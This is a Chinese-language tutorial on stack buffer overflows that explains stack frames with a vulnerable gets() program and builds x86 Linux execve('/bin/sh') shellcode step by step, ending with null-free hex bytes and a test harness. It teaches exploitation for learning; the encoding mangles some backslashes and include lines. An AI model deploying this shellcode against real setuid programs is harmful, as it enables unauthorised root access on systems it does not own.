堆棧溢出技術(shù)從入門(mén)到高深:如何書(shū)寫(xiě)shell code
雖然溢出在程序開(kāi)發(fā)過(guò)程中不可完全避免,但溢出對(duì)系統(tǒng)的威脅是巨大的,由于系統(tǒng)的特殊性,溢出發(fā)生時(shí)攻擊者可以利用其漏洞來(lái)獲取系統(tǒng)的高級(jí)權(quán)限r(nóng)oot,因此本文將詳細(xì)介紹堆棧溢出技術(shù)……
在您開(kāi)始了解堆棧溢出前,首先你應(yīng)該了解win32匯編語(yǔ)言,熟悉寄存器的組成和功能。你必須有堆棧和存儲(chǔ)分配方面的基礎(chǔ)知識(shí),有關(guān)這方面的計(jì)算機(jī)書(shū)籍很多,我將只是簡(jiǎn)單闡述原理,著重在應(yīng)用。其次,你應(yīng)該了解linux,本講中我們的例子將在linux上開(kāi)發(fā)。
【相關(guān)推薦】:
堆棧溢出技術(shù)從入門(mén)到高深:利用堆棧溢出獲得shell
堆棧溢出技術(shù)從入門(mén)到高深:windows系統(tǒng)下堆棧溢出
1、首先復(fù)習(xí)一下基礎(chǔ)知識(shí)。
從物理上講,堆棧是就是一段連續(xù)分配的內(nèi)存空間。在一個(gè)程序中,會(huì)聲明各種變量。靜態(tài)全局變量是位于數(shù)據(jù)段并且在程序開(kāi)始運(yùn)行的時(shí)候被加載。而程序的動(dòng)態(tài)的局部變量則分配在堆棧里面。
從操作上來(lái)講,堆棧是一個(gè)先入后出的隊(duì)列。他的生長(zhǎng)方向與內(nèi)存的生長(zhǎng)方向正好相反。我們規(guī)定內(nèi)存的生長(zhǎng)方向?yàn)橄蛏?,則棧的生長(zhǎng)方向?yàn)橄蛳隆簵5牟僮鱬ush=ESP-4,出棧的操作是pop=ESP+4.換句話(huà)說(shuō),堆棧中老的值,其內(nèi)存地址,反而比新的值要大。請(qǐng)牢牢記住這一點(diǎn),因?yàn)檫@是堆棧溢出的基本理論依據(jù)。
在一次函數(shù)調(diào)用中,堆棧中將被依次壓入:參數(shù),返回地址,EBP。如果函數(shù)有局部變量,接下來(lái),就在堆棧中開(kāi)辟相應(yīng)的空間以構(gòu)造變量。函數(shù)執(zhí)行結(jié)束,這些局部變量的內(nèi)容將被丟失。但是不被清除。在函數(shù)返回的時(shí)候,彈出EBP,恢復(fù)堆棧到函數(shù)調(diào)用的地址,彈出返回地址到EIP以繼續(xù)執(zhí)行程序。
在C語(yǔ)言程序中,參數(shù)的壓棧順序是反向的。比如func(a,b,c)。在參數(shù)入棧的時(shí)候,是:先壓c,再壓b,最后a。在取參數(shù)的時(shí)候,由于棧的先入后出,先取棧頂?shù)腶,再取b,最后取c。這些是匯編語(yǔ)言的基礎(chǔ)知識(shí),用戶(hù)在開(kāi)始前必須要了解這些知識(shí)。
2、現(xiàn)在我們來(lái)看一看什么是堆棧溢出。
運(yùn)行時(shí)的堆棧分配
堆棧溢出就是不顧堆棧中數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫(xiě)入了過(guò)多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)越界,結(jié)果覆蓋了老的堆棧數(shù)據(jù)。
例如程序一:
#include
int main ( )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}
編譯并且執(zhí)行,我們輸入ipxodi,就會(huì)輸出Hello,ipxodi!。程序運(yùn)行中,堆棧是怎么操作的呢?
在main函數(shù)開(kāi)始運(yùn)行的時(shí)候,堆棧里面將被依次放入返回地址,EBP。
我們用gcc -S 來(lái)獲得匯編語(yǔ)言輸出,可以看到main函數(shù)的開(kāi)頭部分對(duì)應(yīng)如下語(yǔ)句:
pushl %ebp
movl %esp,%ebp
subl $8,%esp
首先他把EBP保存下來(lái),,然后EBP等于現(xiàn)在的ESP,這樣EBP就可以用來(lái)訪(fǎng)問(wèn)本函數(shù)的局部變量。之后ESP減8,就是堆棧向上增長(zhǎng)8個(gè)字節(jié),用來(lái)存放name[]數(shù)組。最后,main返回,彈出ret里的地址,賦值給EIP,CPU繼續(xù)執(zhí)行EIP所指向的指令。
堆棧溢出
現(xiàn)在我們?cè)賵?zhí)行一次,輸入ipxodiAAAAAAAAAAAAAAA,執(zhí)行完gets(name)之后,由于我們輸入的name字符串太長(zhǎng),name數(shù)組容納不下,只好向內(nèi)存頂部繼續(xù)寫(xiě)‘A’。由于堆棧的生長(zhǎng)方向與內(nèi)存的生長(zhǎng)方向相反,這些‘A’覆蓋了堆棧的老的元素。 我們可以發(fā)現(xiàn),EBP,ret都已經(jīng)被‘A’覆蓋了。在main返回的時(shí)候,就會(huì)把‘AAAA’的ASCII碼:0x41414141作為返回地址,CPU會(huì)試圖執(zhí)行0x41414141處的指令,結(jié)果出現(xiàn)錯(cuò)誤。這就是一次堆棧溢出。
3、如何利用堆棧溢出
我們已經(jīng)制造了一次堆棧溢出。其原理可以概括為:由于字符串處理函數(shù)(gets,strcpy等等)沒(méi)有對(duì)數(shù)組越界加以監(jiān)視和限制,我們利用字符數(shù)組寫(xiě)越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。
在上面的例子中,這導(dǎo)致CPU去訪(fǎng)問(wèn)一個(gè)不存在的指令,結(jié)果出錯(cuò)。事實(shí)上,當(dāng)堆棧溢出的時(shí)候,我們已經(jīng)完全的控制了這個(gè)程序下一步的動(dòng)作。如果我們用一個(gè)實(shí)際存在指令地址來(lái)覆蓋這個(gè)返回地址,CPU就會(huì)轉(zhuǎn)而執(zhí)行我們的指令。
在UINX/linux系統(tǒng)中,我們的指令可以執(zhí)行一個(gè)shell,這個(gè)shell將獲得和被我們堆棧溢出的程序相同的權(quán)限。如果這個(gè)程序是setuid的,那么我們就可以獲得root shell。下一講將敘述如何書(shū)寫(xiě)一個(gè)shell code。
如何書(shū)寫(xiě)一個(gè)shell code
一:shellcode基本算法分析
在程序中,執(zhí)行一個(gè)shell的程序是這樣寫(xiě)的:
shellcode.c
------------------------------------------------------------------------
#include
void main() {
char *name[2];
name[0] = "/bin/sh"
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
execve函數(shù)將執(zhí)行一個(gè)程序。他需要程序的名字地址作為第一個(gè)參數(shù)。一個(gè)內(nèi)容為該程序的argv[i](argv[n-1]=0)的指針數(shù)組作為第二個(gè)參數(shù),以及(char*) 0作為第三個(gè)參數(shù)。
我們來(lái)看以看execve的匯編代碼:
[nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c
[nkl10]$Content$nbsp;gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp;上面是函數(shù)頭。
0x80002bf <__execve+3>: pushl %ebx;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax;eax=0xb,eax指明第幾號(hào)系統(tǒng)調(diào)用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx;ebp+8是第一個(gè)參數(shù)"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx;ebp+12是第二個(gè)參數(shù)name數(shù)組的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx;ebp+16是第三個(gè)參數(shù)空指針的地址。;name[2-1]內(nèi)容為NULL,用來(lái)存放返回值。
0x80002ce <__execve+18>: int $0x80;執(zhí)行0xb號(hào)系統(tǒng)調(diào)用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx;下面是返回值的處理就沒(méi)有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
經(jīng)過(guò)以上的分析,可以得到如下的精簡(jiǎn)指令算法:
movl $execve的系統(tǒng)調(diào)用號(hào),%eax
movl "bin/sh\0"的地址,%ebx
movl name數(shù)組的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)
當(dāng)execve執(zhí)行成功后,程序shellcode就會(huì)退出,/bin/sh將作為子進(jìn)程繼續(xù)執(zhí)行。可是,如果我們的execve執(zhí)行失敗,(比如沒(méi)有/bin/sh這個(gè)文件),CPU就會(huì)繼續(xù)執(zhí)行后續(xù)的指令,結(jié)果不知道跑到哪里去了。所以必須再執(zhí)行一個(gè)exit()系統(tǒng)調(diào)用,結(jié)束shellcode.c的執(zhí)行。
我們來(lái)看以看exit(0)的匯編代碼:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx為參數(shù)0
0x8000358 <_exit+12>: int $0x80 ;引發(fā)系統(tǒng)調(diào)用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看來(lái)exit(0)〕的匯編代碼更加簡(jiǎn)單:
movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用
movl 0,%ebx ;ebx為exit的參數(shù)0
int $0x80 ;引發(fā)系統(tǒng)調(diào)用
那么總結(jié)一下,合成的匯編代碼為:
movl $execve的系統(tǒng)調(diào)用號(hào),%eax
movl "bin/sh\0"的地址,%ebx
movl name數(shù)組的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)
movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用
movl 0,%ebx ;ebx為exit的參數(shù)0
int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(exit)
二:實(shí)現(xiàn)一個(gè)shellcode
好,我們來(lái)實(shí)現(xiàn)這個(gè)算法。首先我們必須有一個(gè)字符串“/bin/sh”,還得有一個(gè)name數(shù)組。我們可以構(gòu)造它們出來(lái),可是,在shellcode中如何知道它們的地址呢?每一次程序都是動(dòng)態(tài)加載,字符串和name數(shù)組的地址都不是固定的。通過(guò)JMP和call的結(jié)合,黑客們巧妙的解決了這個(gè)問(wèn)題。
------------------------------------------------------------------------
jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出來(lái)的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8處構(gòu)造 name數(shù)組,//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7處放0作為string的結(jié)尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代碼。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name數(shù)組的開(kāi)始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代碼
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //這里放call,string 的地址就會(huì)作為返回地址壓棧。
/bin/sh 字符串
------------------------------------------------------------------------
首先使用JMP相對(duì)地址來(lái)跳轉(zhuǎn)到call,執(zhí)行完call指令,字符串/bin/sh的地址將作為call的返回地址壓入堆?!,F(xiàn)在來(lái)到popl esi,把剛剛壓入棧中的字符串地址取出來(lái),就獲得了字符串的真實(shí)地址。然后,在字符串的第8個(gè)字節(jié)賦0,作為串的結(jié)尾。后面8個(gè)字節(jié),構(gòu)造name數(shù)組(兩個(gè)整數(shù),八個(gè)字節(jié))。
我們可以寫(xiě)shellcode了。先寫(xiě)出匯編源程序。
shellcodeasm.c
------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
編譯后,用gdb的b/bx 〔地址〕命令可以得到十六進(jìn)制的表示。
下面,寫(xiě)出測(cè)試程序如下:(注意,這個(gè)test程序是測(cè)試shellcode的基本程序)
test.c
char shellcode[] ="/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3"
void main() {
int *ret;
ret = (int *)&ret + 2; //ret 等于main()的返回地址 //(+2是因?yàn)椋河衟ushl ebp ,否則加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開(kāi)始地址。
}
[nkl10]$Content$nbsp;gcc -o test test.c
[nkl10]$Content$nbsp;./test
$Content$nbsp;exit
[nkl10]$Content$nbsp;
我們通過(guò)一個(gè)shellcode數(shù)組來(lái)存放shellcode,當(dāng)我們把程序(test.c)的返回地址ret設(shè)置成shellcode數(shù)組的開(kāi)始地址時(shí),程序在返回的時(shí)候就會(huì)去執(zhí)行我們的hellcode,從而我們得到了一個(gè)shell。運(yùn)行結(jié)果,得到了bsh的提示符$,表明成功的開(kāi)了一個(gè)shell。這里有必要解釋的是,我們把shellcode作為一個(gè)全局變量開(kāi)在了數(shù)據(jù)段而不是作為一段代碼。是因?yàn)樵诓僮飨到y(tǒng)中,程序代碼段的內(nèi)容是具有只讀屬性的。不能修改。而我們的代碼中movl %esi,0x8(%esi)等語(yǔ)句都修改了代碼的一部分,所以不能放在代碼段。這個(gè)shellcode可以了嗎?很遺憾,還差了一點(diǎn)。大家回想一下,在堆棧溢出中,關(guān)鍵在于字符串?dāng)?shù)組的寫(xiě)越界。但是,gets,strcpy等字符串函數(shù)在處理字符串的時(shí)候,以"/0"為字符串結(jié)尾。遇/0就結(jié)束了寫(xiě)操作。而我們的shellcode串中有大量的/0字符。因此,對(duì)于gets(name)來(lái)說(shuō),上面的shellcode是不可行的。我們的shellcode是不能有/0字符出現(xiàn)的。
因此,有些指令需要修改一下:
舊的指令 新的指令
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
最后的shellcode為:
------------------------------------------------------------------------
char shellcode[]=
00 "/xeb/x1f" /* jmp 0x1f */
02 "/x5e" /* popl %esi */
03 "/x89/x76/x08" /* movl %esi,0x8(%esi) */
06 "/x31/xc0" /* xorl %eax,%eax */
08 "/x88/x46/x07" /* movb %eax,0x7(%esi) */
0b "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
0e "/xb0/x0b" /* movb $0xb,%al */
10 "/x89/xf3" /* movl %esi,%ebx */
12 "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
15 "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
18 "/xcd/x80" /* int $0x80 */
1a "/x31/xdb" /* xorl %ebx,%ebx */
1c "/x89/xd8" /* movl %ebx,%eax */
1e "/x40" /* inc %eax */
1f "/xcd/x80" /* int $0x80 */
21 "/xe8/xdc/xff/xff/xff" /* call -0x24 */
26 "/bin/sh" /* .string /"/bin/sh/" */